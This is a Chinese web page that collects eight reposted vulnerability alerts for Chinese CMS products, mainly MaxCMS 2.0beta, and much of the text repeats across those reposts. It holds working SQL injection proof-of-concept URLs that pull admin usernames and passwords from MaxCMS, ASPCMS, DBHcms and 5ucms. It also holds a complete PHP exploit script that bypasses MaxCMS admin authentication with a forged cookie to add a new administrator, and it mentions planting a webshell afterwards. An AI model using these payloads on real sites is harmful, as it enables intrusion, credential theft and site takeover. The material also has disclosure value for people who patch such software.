马克斯CMS2.0beta (maxcms)SQL注入漏洞解析漏洞预警
“李汭燦Scout”通过精心收集,向本站投稿了8篇马克斯CMS2.0beta (maxcms)SQL注入漏洞解析漏洞预警,下面是小编给各位读者分享的马克斯CMS2.0beta (maxcms)SQL注入漏洞解析漏洞预警,欢迎大家分享。
篇1:马克斯CMS2.0beta (maxcms)SQL注入漏洞解析漏洞预警
这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在,
看代码
incajax.aspdim action : action = getForm(“action”, “get”)response.Charset=“gbk”Select case action case “newslist” : viewNewsList case “newscontent” : viewNewsContent case “digg”,“tread” : scoreVideo(action) case “reporterr” : reportErr case “hit” : updateHit case else : mainEnd SelectterminateAllObjects……Sub scoreVideo(operType) dim sql,id,digg,returnValue : id=getForm(“id”,“get”) ‘通过get方式获取id的值 if rCookie(“maxcms2_score”&id)=“ok” then die “havescore” if isNul(id) then die “err” 'on error resume next digg=conn.db(“select m_digg from {pre}data where m_id=”&id,“execute”)(0) ‘ 参数id,没有过滤就带入sql语句进行查询 if err then digg=0 : err.clear if not isNum(id) then echoSaveStr “safe” else id=clng(id) ‘ 查询到digg,注意返回的内容……
利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了,
如果构造的语句是正确的,就返回类似警告
你提交的数据有非法字符,你的IP【xxxx】已被记录,操作
构造的语句不正确,则返回500
Poc :
正确的:demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97 不正确的:demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99
其实随便找个注射工具跑一下就ok了
篇2:马克斯CMS2.0beta (maxcms)SQL注入漏洞
作者:flyh4t
bbs.wolvez.org
关键字:首页-马克斯CMS2.0
这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在,
看代码
incajax.asp
dim action : action = getForm(“action”, “get”)
response.Charset=“gbk”
Select case action
case “newslist” : viewNewsList
case “newscontent” : viewNewsContent
case “digg”,“tread” : scoreVideo(action)
case “reporterr” : reportErr
case “hit” : updateHit
case else : main
End Select
terminateAllObjects
……
Sub scoreVideo(operType)
dim sql,id,digg,returnValue : id=getForm(“id”,“get”)
‘通过get方式获取id的值
if rCookie(“maxcms2_score”&id)=“ok” then die “havescore”
if isNul(id) then die “err”
'on error resume next
digg=conn.db(“select m_digg from {pre}data where m_id=”&id,“execute”)(0)
‘ 参数id,没有过滤就带入sql语句进行查询
if err then digg=0 : err.clear()
if not isNum(id) then echoSaveStr “safe” else id=clng(id)
‘ 查询到digg,注意返回的内容
……
利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了。如果构造的语句是正确的,就返回类似警告
你提交的数据有非法字符,你的IP【xxxx】已被记录,操作
构造的语句不正确,则返回500
Poc :
正确的:
demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97
不正确的:
demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99
其实随便找个注射工具跑一下就ok了
另外一处注射
Sub checkPower
dim loginValidate,rsObj : loginValidate = “maxcms2.0”
err.clear
on error resume next
set rsObj=conn.db(“select m_random,m_level from {pre}manager where m_username='”&rCookie(“m_username”)&“'”,“execute”)
loginValidate = md5(getAgent&getIp&rsObj(0))
if err then wCookie “check”&rCookie(“m_username”),“” : die “”
if rCookie(“check”&rCookie(“m_username”))loginValidate then wCookie “check”&rCookie(“m_username”),“” : die “”
checkManagerLevel rsObj(1)
set rsObj=nothing
End Sub
其中
Function rCookie(cookieName)
rCookie = request.cookies(cookieName)
End Function
通过伪造cookie中m_username的值可以进行注射
不过要知道后台管理目录,默认是/admin/,多个页面可以触发改函数
比如 /admin/admin_ajax.asp
篇3:马克斯CMS2.0beta (maxcms)SQL注入和管理员认证绕过漏洞漏洞预警
这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在,
看代码
incajax.asp
dim action : action = getForm(“action”, “get”)
response.Charset=“gbk”
Select case action
case “newslist” : viewNewsList
case “newscontent” : viewNewsContent
case “digg”,“tread” : scoreVideo(action)
case “reporterr” : reportErr
case “hit” : updateHit
case else : main
End Select
terminateAllObjects
……
Sub scoreVideo(operType)
dim sql,id,digg,returnValue : id=getForm(“id”,“get”)
‘通过get方式获取id的值
if rCookie(“maxcms2_score”&id)=“ok” then die “havescore”
if isNul(id) then die “err”
'on error resume next
digg=conn.db(“select m_digg from {pre}data where m_id=”&id,“execute”)(0)
‘ 参数id,没有过滤就带入sql语句进行查询
if err then digg=0 : err.clear
if not isNum(id) then echoSaveStr “safe” else id=clng(id)
‘ 查询到digg,注意返回的内容
……利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了。如果构造的语句是正确的,就返回类似警告
你提交的数据有非法字符,你的IP【xxxx】已被记录,操作
构造的语句不正确,则返回500
Poc :
正确的:
demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97
不正确的:
demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99
其实随便找个注射工具跑一下就ok了
管理员认证绕过漏洞
maxcms后台有自动升级功能,ajax的那个注射被修补了,但是这个漏洞还是没有修补。在上一贴有同学问是否能绕过认证,答案是肯定的,但是前提是要知道后台目录地址
回顾下漏洞代码
Sub checkPower dim loginValidate,rsObj : loginValidate = “maxcms2.0” err.clear on error resume next set rsObj=conn.db(“select m_random,m_level from {pre}manager where m_username='”&rCookie(“m_username”)&“'”,“execute”) loginValidate = md5(getAgent&getIp&rsObj(0)) if err then wCookie “check”&rCookie(“m_username”),“” : die “” if rCookie(“check”&rCookie(“m_username”))loginValidate then wCookie “check”&rCookie(“m_username”),“” : die “” checkManagerLevel rsObj(1) set rsObj=nothing End Sub 其中
Function rCookie(cookieName) rCookie = request.cookies(cookieName) End Function 关键就是这个变量的值 loginValidate = md5(getAgent&getIp&rsObj(0))
通过伪造cookie可以轻松绕过这段认证代码,之后就可以添加新管理员或者修改配置文件插入一句话木马
我这里贴一个添加新管理员的exp
< 3) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' host path host: target server (ip/hostname) path: path to maxcms Example: php '.$argv[0].' localhost /maxcms2/ +---------------------------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $name = rand(1,10000); $cmd = 'm_username=flyh4t'.$name.'&m_pwd=wolvez&m_pwd2=wolvez&m_level=0'; $resp = send($cmd); if (!eregi('alert',$resp)) {echo“[~]bad luck,exploit failed”;exit;} print_r(' +---------------------------------------------------------------------------+ [+]cool,exploit seccuss [+]you have add a new adminuser flyh4t'.$name.'/wolvez +---------------------------------------------------------------------------+ '); function send($cmd) { global $host, $path; $message = “POST ”.$path.“admin/admin_manager.asp?action=add HTTP/1.1”; $message .= “Accept: */*”; $message .= “Referer:$host$path
”; $message .= “Accept-Language: zh-cn”; $message .= “Content-Type: application/x-www-form-urlencoded”; $message .= “User-Agent: flyh4t”; $message .= “X-Forwarded-For:1.1.1.1”; $message .= “Host: $host”; $message .= “Content-Length: ”.strlen($cmd).“”; $message .= “Cookie: m_username=flyh4t'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin; m_level=0; checkflyh4t'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin=7728a57dcd5ae1e69cf0aee02ba66de6”; $message .= “Connection: Close”; $message .= $cmd; echo $message; $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); echo $resp; return $resp; } ?>发布日期:-07.19
发布作者:flyh4t
影响版本:马克斯CMS2.0beta
官方地址:maxcms.net
篇4:马克斯CMScookies注入漏洞漏洞预警
漏洞文件:admin/admin_inc.asp
代码如下:
Sub checkPower //第103行
dim loginValidate,rsObj : loginValidate = “maxcms2.0”
err.clear
on error resume next
set rsObj=conn.db(“select m_random,m_level from {pre}manager where m_username=''”&rCookie(“m_username”)&“''”,“execute”)
rCookie函数在文件inc/CommonFun.asp中
Function rCookie(cookieName) //第28行
rCookie = request.cookies(cookieName)
End Function
rCookie函数仅从cookie读取数据没做任何过滤,导致cookie注入漏洞的产生,
马克斯CMS最新cookies注入漏洞漏洞预警
,
测试方法:修改cookies值注入.
篇5:ASPCMS2.38 SQL注入漏洞漏洞预警
ASPCMS系统对用户提交的参数过滤不严,导致攻击者可以提交SQL语句查询数据库获取敏感信息,
漏洞存在于/admin_aspcms/_content/_Content/AspCms_ContentFun.asp,这个文件未验证管理员权限,因此如何人都可以访问,同时该文件对获取的参数没有使用自定义的filterPara函数过滤,导致多处注入,代码入下:
<% ''die debugmode
dim action : action=getForm(“action”,“get”)
dim ContentID, LanguageID, SortID, GroupID, Exclusive, Title, Title2, TitleColor, IsOutLink, OutLink, Author, ContentSource, ContentTag, Content, ContentStatus, IsTop, IsRecommend, IsImageNews, IsHeadline, IsFeatured, ContentOrder, IsGenerated, Visits, AddTime, ImagePath, IndexImage, DownURL, PageTitle, PageKeywords, PageDesc, PageFileName, spec, EditTime,DownGroupID,IsNoComment,Star,Timeing,TimeStatus,VideoGroupID,CHvalue,SpecCategory
''SpecCategory用于判断是哪个类型的自定义参数
dim sortType, keyword, page, psize, order, ordsc, sortTypeName
sortType=getForm(“sortType”,“get”) if isnul(sortType) then sortType=0
sortid=getForm(“sortid”,“post”) if isnul(sortid) then sortid=getForm(“sortid”,“get”)
keyword=getForm(“keyword”,“post”) if isnul(keyword) then keyword=getForm(“keyword”,“get”)
page=getForm(“page”,“get”)
psize=getForm(“psize”,“get”)
rder=getForm(“order”,“get”)
rdsc=getForm(“ordsc”,“get”)
DownGroupID=getForm(“DownGroupID”,“post”)
VideoGroupID=getForm(“VideoGroupID”,“post”)
select case sortType
case “2”
sortTypeName =“文章”
SpecCategory = “C” case “3”
sortTypeName =“产品”
SpecCategory = “P” case “4”
sortTypeName =“下载”
SpecCategory = “DL” case “5”
sortTypeName =“招聘”
SpecCategory = “HR” case “6”
sortTypeName =“相册”
SpecCategory = “FO” case “8”
sortTypeName = “视频”
SpecCategory = “VI” end select
''单篇1,文章2,产品3,下载4,招聘5,相册6,链接7,视频8
Select case action
case “add” : addContent
case “edit” : editContent
case “move” : moveContent
case “copy” : copyContent
case “rpost” : rpostContent
case “del” : delContent
case “recovery” : Recovery
case “tdel” : trueDelContent
case “on” : onOff “on”, “Content”, “ContentID”, “ContentStatus”, “”, getPageName&“?sortType=”&sortType&“&sortid=”&sortid&“&keyword=”&keyword&“&page=”&page&“&psize=”&psize&“&order=”&order&“&ordsc=”&ordsc
case “off” : onOff “off”, “Content”, “ContentID”, “ContentStatus”, “”, getPageName()&“?sortType=”&sortType&“&sortid=”&sortid&“&keyword=”&keyword&“&page=”&page&“&psize=”&psize&“&order=”&order&“&ordsc=”&ordsc
case “order” : UpdateOrder
End Select
Sub trueDelContent
dim id : id=getForm(“id”,“both”) if isnul(id) then alertMsgAndGo “请选择要操作的内容”,“-1” if runmode=1 then
dim rs, sql, filepath
dim templateobj : set templateobj=new TemplateClass
sql=“select ContentID,Title,sortType,SortFolder,a.GroupID,ContentFolder,ContentFileName,a.AddTime,a.PageFileName,a.SortID,b.GroupID from {prefix}Content as a, {prefix}Sort as b where a.LanguageID=”&session(“languageID”)&“ and a.SortID=b.SortID and ContentStatus=2 and ContentID in(”&id&“)” set rs=conn.exec(sql,“r1”) do while not rs.eof
filepath=templateobj.getContentLink(rs(“SortID”),rs(“ContentID”),rs(“SortFolder”),rs(“a.GroupID”),rs(“ContentFolder”),
rs(“ContentFileName”),rs(“AddTime”),rs(“PageFileName”),rs(“b.GroupID”)) if isExistFile(filepath) then delFile filepath
''echo filepath&“
”
rs.movenext
loop
end if
conn.exec “delete from {prefix}Content where ContentStatus=2 and ContentID in(”&id&“)”,“exe”
alertMsgAndGo “彻底删除成功”,getPageName()&“?sortType=”&sortType&“&sortid=”&sortid&“&keyword=”&keyword&“&page=”&page&“&psize=”&psize&“&order=”&order&“&ordsc=”&ordsc
End Sub
利用比较简单,利用iif来强制报错:
www.xxx.com0/aspcms/admin_aspcms/_content/_Content/AspCms_ContentFun.asp?action=tdel&id=2=iif(((select asc(mid(LoginName,1,1)) from AspCms_User where UserID=1)=97),2,chr(97))
查询管理员用户名第一个字符是否为a
www.xxx.com/aspcms/admin_aspcms/_content/_Content/AspCms_ContentFun.asp?action=tdel&id=2=iif(((select asc(mid(LoginName,1,1)) from AspCms_User where UserID=1)=98),2,chr(97))
查询管理员用户名第一个字符是否为b
返回为假,强制报错
篇6:ShopEx4.85版本SQL注入漏洞预警
ShopEx4.85最新版本SQL注入,无需登录,过GPC,可直接查询管理员密码并回显
啥都不说了,直接上利用代码,将下面的html另存为一个html文件,修改localhost部分为站点的真实地址:
columns:
篇7:DBHcms 1.1.4 SQL注入漏洞漏洞预警
DBHcms是一个面向个人和小型商业网站的开源内容管理系统,同时开发多种语言版本很好的支持搜索引擎优化,
DBHcms 1.1.4 SQL注入漏洞漏洞预警
,
程序存在漏洞主要原因是未对提交参数进行严格过滤,导致SQL注入攻击漏洞产生。
SQL注入测试代码:
192.168.1.100/DBHcms/index.php?dbhcms_pid=-81&editmenu=-2+union+select+1,2,3,4,5,6,group_concat(user_login,0x3a,user_passwd),8,9,10,11,12,13,14+from+dbhcms_cms_users--
篇8:5ucms 版 sql 注入漏洞漏洞预警
漏洞文件:/mobile/index.asp
漏洞说明:未对变量id过滤 导致产生sql注入!
漏洞测试:www.5u.hk/ 官方
漏洞证明↓
漏洞EXP↓
/mobile/index.asp?act=view&id=1%20union%20select%201,Username%26chr(124)%26CheckCode%20from%20{pre}admin
漏洞修复↓
过滤,
5ucms 最新版 sql 注入漏洞漏洞预警
,
。。
放手上很久了,没怎么用。就放出来吧。希望只用于测试。不要恶意利用
【马克斯CMS2.0beta (maxcms)SQL注入漏洞解析漏洞预警】相关文章:






文档为doc格式